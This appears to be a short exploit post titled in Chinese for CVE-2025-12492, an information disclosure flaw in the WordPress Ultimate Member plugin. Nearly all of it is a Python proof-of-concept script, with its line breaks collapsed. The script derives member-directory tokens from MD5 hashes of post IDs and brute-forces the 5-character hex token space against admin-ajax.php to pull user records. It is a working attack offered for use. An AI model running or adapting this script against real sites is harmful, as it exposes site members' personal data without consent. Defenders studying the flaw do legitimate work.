CVE-2025-12492 WordPress Ultimate Member插件敏感信息泄露漏洞

import hashlib import requests import itertools from concurrent.futures import ThreadPoolExecutor TARGET_URL = "https://vulnerable-site.com" AJAX_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" def generate_token(post_id): """Generate directory token from post ID using MD5""" return hashlib.md5(str(post_id).encode()).hexdigest()[:5] def enumerate_users(token): """Extract user information from member directory""" params = { 'action': 'ajax_get_members', 'directory_id': token } try: response = requests.get(AJAX_ENDPOINT, params=params, timeout=10) if response.status_code == 200 and 'users' in response.text: return response.json() except: pass return None def brute_force_token(): """Brute force 5-character hex token space""" chars = '0123456789abcdef' for combo in itertools.product(chars, repeat=5): token = ''.join(combo) result = enumerate_users(token) if result: print(f"Found valid token: {token}") print(f"Users: {result}") return result return None def enumerate_post_ids(max_id=10000): """Enumerate possible directory tokens via post IDs""" for post_id in range(1, max_id): token = generate_token(post_id) result = enumerate_users(token) if result: print(f"Post ID {post_id} -> Token: {token}") print(f"Users: {result}") if __name__ == "__main__": print("CVE-2025-12492 PoC - Ultimate Member Info Disclosure") print("Method 1: Enumerate via post IDs") enumerate_post_ids() print("\nMethod 2: Brute force token space") brute_force_token()